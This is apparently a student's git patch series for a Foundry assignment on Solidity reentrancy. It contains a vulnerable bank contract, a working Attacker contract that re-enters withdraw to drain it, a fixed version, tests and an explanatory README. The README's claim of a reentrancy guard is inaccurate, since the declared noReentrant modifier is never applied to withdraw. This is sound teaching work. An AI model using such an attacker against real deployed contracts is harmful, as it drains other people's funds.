From 09728bd6d3e1af6116d5a5a70942a498852a894f Mon Sep 17 00:00:00 2001 From: rayeberechi Date: Mon, 13 Apr 2026 12:15:25 +0100 Subject: [PATCH 1/3] test: submit class test --- 13-04-26-test/.gitignore | 14 +++++ 13-04-26-test/.gitmodules | 3 + 13-04-26-test/README.md | 66 +++++++++++++++++++++ 13-04-26-test/foundry.lock | 8 +++ 13-04-26-test/foundry.toml | 6 ++ 13-04-26-test/question.md | 30 ++++++++++ 13-04-26-test/script/Counter.s.sol | 19 ++++++ 13-04-26-test/src/Attacker.sol | 24 ++++++++ 13-04-26-test/src/FixedContract.sol | 22 +++++++ 13-04-26-test/src/VulnerableContract.sol | 19 ++++++ 13-04-26-test/test/Counter.t.sol | 24 ++++++++ 13-04-26-test/test/VulnerableContract.t.sol | 13 ++++ 12 files changed, 248 insertions(+) create mode 100644 13-04-26-test/.gitignore create mode 100644 13-04-26-test/.gitmodules create mode 100644 13-04-26-test/README.md create mode 100644 13-04-26-test/foundry.lock create mode 100644 13-04-26-test/foundry.toml create mode 100644 13-04-26-test/question.md create mode 100644 13-04-26-test/script/Counter.s.sol create mode 100644 13-04-26-test/src/Attacker.sol create mode 100644 13-04-26-test/src/FixedContract.sol create mode 100644 13-04-26-test/src/VulnerableContract.sol create mode 100644 13-04-26-test/test/Counter.t.sol create mode 100644 13-04-26-test/test/VulnerableContract.t.sol diff --git a/13-04-26-test/.gitignore b/13-04-26-test/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/13-04-26-test/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/13-04-26-test/.gitmodules b/13-04-26-test/.gitmodules new file mode 100644 index 00000000..888d42dc --- /dev/null +++ b/13-04-26-test/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md new file mode 100644 index 00000000..8817d6ab --- /dev/null +++ b/13-04-26-test/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/13-04-26-test/foundry.lock b/13-04-26-test/foundry.lock new file mode 100644 index 00000000..bc06b89b --- /dev/null +++ b/13-04-26-test/foundry.lock @@ -0,0 +1,8 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + } +} \ No newline at end of file diff --git a/13-04-26-test/foundry.toml b/13-04-26-test/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/13-04-26-test/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/13-04-26-test/question.md b/13-04-26-test/question.md new file mode 100644 index 00000000..efd0f7d2 --- /dev/null +++ b/13-04-26-test/question.md @@ -0,0 +1,30 @@ +### Questions: +- Identify the vulnerability in this contract. +- Explain how an attacker can exploit it. +- Rewrite the withdraw function to fix the issue. +``` +mapping(address => uint256) public balances; + +function deposit() public payable { + balances[msg.sender] += msg.value; +} + +function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; +} +``` + +### Your Tasks: +1. Write an attack contract that exploits this vulnerability +2. Demonstrate the exploit using a test +3. Fix the contract using: + - Checks-Effects-Interactions pattern + - Reentrancy guard +4. Write tests proving: + - Attack fails after fix + - Legit users can still withdraw \ No newline at end of file diff --git a/13-04-26-test/script/Counter.s.sol b/13-04-26-test/script/Counter.s.sol new file mode 100644 index 00000000..f01d69c3 --- /dev/null +++ b/13-04-26-test/script/Counter.s.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script} from "forge-std/Script.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterScript is Script { + Counter public counter; + + function setUp() public {} + + function run() public { + vm.startBroadcast(); + + counter = new Counter(); + + vm.stopBroadcast(); + } +} diff --git a/13-04-26-test/src/Attacker.sol b/13-04-26-test/src/Attacker.sol new file mode 100644 index 00000000..34f0179b --- /dev/null +++ b/13-04-26-test/src/Attacker.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import {VulnerableContract} from "./VulnerableContract.sol"; + +contract Attacker { + VulnerableContract public vulnerableContract; + + constructor(address _vcAddress) { + vulnerableContract = VulnerableContract(_vcAddress); + } + + function attack() external payable { + require(msg.value > 0, "Need ETH to attack"); + vulnerableContract.deposit{value: msg.value}(); + vulnerableContract.withdraw(msg.value); + } + + receive() external payable { + if (address(vulnerableContract).balance >= msg.value) { + vulnerableContract.withdraw(msg.value); + } + } +} \ No newline at end of file diff --git a/13-04-26-test/src/FixedContract.sol b/13-04-26-test/src/FixedContract.sol new file mode 100644 index 00000000..ec76c6a8 --- /dev/null +++ b/13-04-26-test/src/FixedContract.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract FixedContract { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + // checks + require(balances[msg.sender] >= amount, "Insufficient balance"); + + // effects + balances[msg.sender] -= amount; + + // interactions + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + } +} \ No newline at end of file diff --git a/13-04-26-test/src/VulnerableContract.sol b/13-04-26-test/src/VulnerableContract.sol new file mode 100644 index 00000000..88739381 --- /dev/null +++ b/13-04-26-test/src/VulnerableContract.sol @@ -0,0 +1,19 @@ +//SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract VulnerableContract { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; + } +} \ No newline at end of file diff --git a/13-04-26-test/test/Counter.t.sol b/13-04-26-test/test/Counter.t.sol new file mode 100644 index 00000000..48319108 --- /dev/null +++ b/13-04-26-test/test/Counter.t.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test} from "forge-std/Test.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterTest is Test { + Counter public counter; + + function setUp() public { + counter = new Counter(); + counter.setNumber(0); + } + + function test_Increment() public { + counter.increment(); + assertEq(counter.number(), 1); + } + + function testFuzz_SetNumber(uint256 x) public { + counter.setNumber(x); + assertEq(counter.number(), x); + } +} diff --git a/13-04-26-test/test/VulnerableContract.t.sol b/13-04-26-test/test/VulnerableContract.t.sol new file mode 100644 index 00000000..6d2fee16 --- /dev/null +++ b/13-04-26-test/test/VulnerableContract.t.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import {Test, console} from "forge-std/Test.sol"; +import {VulnerableContract} from "../src/VulnerableContract.sol"; +import {FixedContract} from "../src/FixedContract.sol"; +import {Attacker} from "../src/Attacker.sol"; + +contract VulnerableContractTest is Test { + VulnerableContract public vulnerableContract; + FixedContract public fixedContract; + +} \ No newline at end of file From c2e6384d5c2dc5ea457a165a0ca49c9727f4c769 Mon Sep 17 00:00:00 2001 From: rayeberechi Date: Mon, 13 Apr 2026 15:52:32 +0100 Subject: [PATCH 2/3] update submission with full test suite and fixes --- 13-04-26-test/src/FixedContract.sol | 9 +++ 13-04-26-test/test/Counter.t.sol | 24 ------ 13-04-26-test/test/VulnerableContract.t.sol | 82 ++++++++++++++++++++- 3 files changed, 89 insertions(+), 26 deletions(-) delete mode 100644 13-04-26-test/test/Counter.t.sol diff --git a/13-04-26-test/src/FixedContract.sol b/13-04-26-test/src/FixedContract.sol index ec76c6a8..e8cb3077 100644 --- a/13-04-26-test/src/FixedContract.sol +++ b/13-04-26-test/src/FixedContract.sol @@ -4,6 +4,15 @@ pragma solidity ^0.8.28; contract FixedContract { mapping(address => uint256) public balances; + bool private locked; + + modifier noReentrant() { + require(!locked, "No re-entrancy"); + locked = true; + _; + locked = false; + } + function deposit() public payable { balances[msg.sender] += msg.value; } diff --git a/13-04-26-test/test/Counter.t.sol b/13-04-26-test/test/Counter.t.sol deleted file mode 100644 index 48319108..00000000 --- a/13-04-26-test/test/Counter.t.sol +++ /dev/null @@ -1,24 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Test} from "forge-std/Test.sol"; -import {Counter} from "../src/Counter.sol"; - -contract CounterTest is Test { - Counter public counter; - - function setUp() public { - counter = new Counter(); - counter.setNumber(0); - } - - function test_Increment() public { - counter.increment(); - assertEq(counter.number(), 1); - } - - function testFuzz_SetNumber(uint256 x) public { - counter.setNumber(x); - assertEq(counter.number(), x); - } -} diff --git a/13-04-26-test/test/VulnerableContract.t.sol b/13-04-26-test/test/VulnerableContract.t.sol index 6d2fee16..1714c1be 100644 --- a/13-04-26-test/test/VulnerableContract.t.sol +++ b/13-04-26-test/test/VulnerableContract.t.sol @@ -7,7 +7,85 @@ import {FixedContract} from "../src/FixedContract.sol"; import {Attacker} from "../src/Attacker.sol"; contract VulnerableContractTest is Test { - VulnerableContract public vulnerableContract; - FixedContract public fixedContract; + VulnerableContract public vulnerable; + FixedContract public fixedContract; + Attacker public attacker; + function setUp() public { + vulnerable = new VulnerableContract(); + fixedContract = new FixedContract(); + attacker = new Attacker(address(vulnerable)); + } + + function test_ExploitDrainsVulnerable() public { + // 1. Give a random user 10 ETH and have them deposit it + address user = address(0x123); + vm.deal(user, 10 ether); + vm.prank(user); + vulnerable.deposit{value: 10 ether}(); + + // 2. Give the Attacker contract 1 ETH to start the attack + vm.deal(address(attacker), 1 ether); + vm.prank(address(attacker)); + attacker.attack{value: 1 ether}(); + + // 3. Check if the bank is now empty + assertEq(address(vulnerable).balance, 0); + } + + function test_LegitUserCanWithdrawFromFixed() public { + address legitUser = address(0x456); + + // Give user money and deposit + vm.deal(legitUser, 5 ether); + vm.prank(legitUser); + fixedContract.deposit{value: 5 ether}(); + + // Withdraw money + vm.prank(legitUser); + fixedContract.withdraw(5 ether); + + // Check if balance is 0 + assertEq(address(fixedContract).balance, 0); + } + + function test_AttackFailsOnFixed() public { + // 1. Put money in the fixed bank + address user = address(0x1); + vm.deal(user, 10 ether); + vm.prank(user); + fixedContract.deposit{value: 10 ether}(); + + // 2. Deploy a mini attacker for the fixed bank + FixedAttacker fixedAttacker = new FixedAttacker(fixedContract); + + // 3. Give it 1 ETH and tell it to attack + vm.deal(address(fixedAttacker), 1 ether); + vm.prank(address(fixedAttacker)); + + // 4. Tell Foundry we expect this to fail + vm.expectRevert(); + fixedAttacker.attack{value: 1 ether}(); + + // 5. Verify the bank still has its 10 ETH + assertEq(address(fixedContract).balance, 10 ether); + } + + receive() external payable {} +} + +contract FixedAttacker { + FixedContract public bank; + constructor(FixedContract _bank) { bank = _bank; } + + function attack() external payable { + bank.deposit{value: msg.value}(); + bank.withdraw(msg.value); + } + + receive() external payable { + if (address(bank).balance >= msg.value) { + bank.withdraw(msg.value); + } + } } \ No newline at end of file From c5b5fd24ba72cce1d8b3943f126d9908bf6066c8 Mon Sep 17 00:00:00 2001 From: rayeberechi Date: Mon, 13 Apr 2026 16:37:36 +0100 Subject: [PATCH 3/3] feat: complete assignment with full tests and documentation --- 13-04-26-test/README.md | 126 ++++++++++++++++++++++++++-------------- 1 file changed, 83 insertions(+), 43 deletions(-) diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md index 8817d6ab..5ea10a5d 100644 --- a/13-04-26-test/README.md +++ b/13-04-26-test/README.md @@ -1,66 +1,106 @@ -## Foundry +# Overview -**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** +This project demonstrates a classic **Reentrancy Vulnerability** in Solidity. It includes an exploit contract and a secured version of the contract that implements industry-standard fixes. -Foundry consists of: +--- -- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). -- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. -- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. -- **Chisel**: Fast, utilitarian, and verbose solidity REPL. +## Project Structure -## Documentation +* **src/VulnerableContract.sol**: The original contract with the reentrancy bug. +* **src/Attacker.sol**: Malicious contract used to drain funds. +* **src/FixedContract.sol**: The secured version using CEI and a Reentrancy Guard. +* **test/VulnerableContract.t.sol**: Foundry tests that prove the exploit and the fix. -https://book.getfoundry.sh/ +--- -## Usage +## Getting Started -### Build +### Prerequisites -```shell -$ forge build -``` +Make sure you have [Foundry](https://book.getfoundry.sh/getting-started/installation) installed on your machine. -### Test +### Installation & Setup -```shell -$ forge test -``` +1. **Clone the repository:** -### Format + ```bash + git clone https://github.com/rayeberechi/buidl-test.git + cd buidl-test + ```` -```shell -$ forge fmt -``` +2. **Install dependencies:** -### Gas Snapshots + ```bash + forge install + ``` -```shell -$ forge snapshot -``` +3. **Compile the contracts:** -### Anvil + ```bash + forge build + ``` -```shell -$ anvil -``` +--- -### Deploy +## How to Run Tests -```shell -$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key -``` +1. Run all tests to see the exploit and the fix in action: + + ```bash + forge test -vv + ``` -### Cast +2. To see the step-by-step transaction "trace" of the exploit: -```shell -$ cast +```bash +forge test --match-test test_ExploitDrainsVulnerable -vvvv ``` -### Help +--- -```shell -$ forge --help -$ anvil --help -$ cast --help -``` +## 1. The Vulnerability + +In `VulnerableContract.sol`, the `withdraw` function is unsafe because it sends money **before** updating the user's balance. + +Because the contract hasn't recorded that the money is gone yet, an attacker can re-enter the function and repeatedly withdraw funds. + +--- + +## 2. The Exploit + +The `Attacker.sol` contract exploits this by: + +* **Depositing** a small amount of ETH to become a valid user. +* **Withdrawing** that amount. +* **The Loop:** When ETH is sent back, it triggers the attacker's `receive()` function. +* This function immediately calls `withdraw` again before the first execution finishes. +* This continues recursively until the contract is drained. + +--- + +## 3. The Solution + +`FixedContract.sol` uses two layers of protection: + +### * Checks-Effects-Interactions (CEI) + +* Update the user’s balance **before** sending ETH. +* Prevents re-entry because balance is already set to 0. + +### * Reentrancy Guard + +* Uses a `locked` state variable via a `noReentrant` modifier. +* Prevents the function from being called again while it's still executing. + +--- + +## 4. Test Results + +* `test_ExploitDrainsVulnerable` + Confirms the attacker successfully drains the vulnerable contract. + +* `test_LegitUserCanWithdrawFromFixed` + Confirms legitimate users can safely withdraw funds. + +* `test_AttackFailsOnFixed` + Confirms the exploit is blocked and funds remain secure.